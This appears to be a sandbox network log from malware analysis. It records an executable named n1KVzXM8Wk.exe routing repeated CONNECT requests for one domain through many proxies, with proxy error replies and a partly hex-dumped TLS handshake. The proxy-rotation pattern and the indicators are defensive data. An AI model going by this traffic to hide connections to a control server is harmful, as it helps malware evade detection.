Feb 23, 2024 09:45:20.376833916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.739449978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.146939993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.4	51138	107.181.141.70	6467	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.383328915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.768939972 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.4	51270	162.159.242.109	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.387408018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.475235939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.4	51381	202.159.107.17	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.389194012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.4	51291	172.67.231.3	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.416311026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.503618956 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.4	51151	107.181.132.183	6161	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.416419029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.749660969 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.4	51311	185.238.228.67	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.418992996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.505924940 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.4	51384	202.159.107.17	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.429920912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.4	51261	154.12.253.232	38338	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.429940939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.902822018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.334714890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098843098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.537621975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.903764963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.271064043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.944200039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.4	51265	68.169.60.220	8380	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.429984093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.4	51175	141.94.174.6	45620	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.430249929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.4	51275	162.241.46.6	46097	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.430249929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.902751923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.334781885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.4	51296	50.233.111.162	32100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.430536032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.4	51202	174.64.199.82	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.430696964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.4	50689	199.102.105.242	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.431878090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.4	51317	66.85.30.138	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.431883097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.865622044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.365710974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178386927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.475126982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865896940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.063255072 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.4	51329	104.18.103.125	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.432049990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.532018900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.4	51199	113.30.149.76	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.433240891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.4	51324	154.12.253.232	17970	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.435750961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.902721882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.334712982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098835945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.537626028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.903760910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.271034002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.944230080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.334717989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.4	51174	94.45.74.60	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.435897112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.037456036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.4	51387	202.159.107.17	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.437242031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.4	51389	202.159.107.17	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.439487934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.4	51281	104.17.166.210	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.448447943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.535969973 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.4	51212	5.9.98.142	3129	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.451325893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.4	51231	98.170.57.249	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.451353073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.4	51184	95.67.79.254	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.451816082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.4	51250	72.195.34.41	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.452138901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.4	51030	4.144.136.15	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.460705996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.607911110 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Feb 23, 2024 09:45:21.611229897 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 5b 21 b8 8e bd 38 41 9c 6e 1a fc 0c e8 82 0d a5 4a ce 69 98 46 06 60 c3 97 47 46 c2 4e 6a 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[!8AnJiF`GFNj*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#C_r}zH&5{_G>atr
Feb 23, 2024 09:45:21.946983099 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 5b 21 1e cd e4 bd 35 2b b8 00 fd 61 8a 9c 90 fb fd ad e0 2f 83 d9 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e[!5+a/DOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 09:45:21.947000980 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 09:45:21.947036028 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 09:45:21.947050095 CET	372	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Feb 23, 2024 09:45:21.947063923 CET	460	IN	Data Raw: 83 81 6f ef 8c cf 97 af c0 85 2a f0 f5 4e 69 09 91 2d e1 68 b8 c1 2b 73 e9 d4 d9 fc 22 c0 37 1f 0b 66 1d 49 ed 02 55 8f 67 e1 32 d7 d3 26 bf 70 e3 3d f4 67 6d 3d 7c e5 34 88 e3 32 fa a7 6e 06 6a 6f bd 8b 91 ee 16 4b e8 3b a9 b3 37 e7 c3 44 a4 7e Data Ascii: oNi-h+s"7fIUg2&p=gm=\|42njoK;7D~lF!fUl)f[wIH(3rS5b$9~AR?,( $:c>BtM8oHSx3b!pY`/h8`rj2IC\4G.
Feb 23, 2024 09:45:21.981333017 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 71 fd ad 46 cc 97 47 65 e3 a2 85 e2 b6 af 0c 5d 41 f2 2f 71 ee bc c4 5a 36 b5 33 d4 83 ac bd 25 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 0d 75 8f e9 ac d4 4b 8a 41 4a 32 e2 53 b6 74 0e 0e 52 b5 b4 39 Data Ascii: %! qFGe]A/qZ63%(uKAJ2StR9X(`!M,/1
Feb 23, 2024 09:45:22.317893982 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1f 00 c0 3b ec ea 22 b9 7a a8 ed aa b5 49 1a 40 dd fc 8d 0e 3c b2 c6 51 74 58 ca f1 ae 98 66 da da e8 09 3d e0 e6 df 90 ac 9e 1e 8b 8d d6 18 a7 62 28 80 90 7b 56 13 9b 9b 87 e8 23 84 e5 bb 0f 70 d1 8c 22 37 d3 Data Ascii: ;"zI@<QtXf=b({V#p"7c\|Ac}>3~fUy'IC**#.Nhb]K1"B/lP&2d]^UpAYT#%p;QW,4o}'~(:/ -(
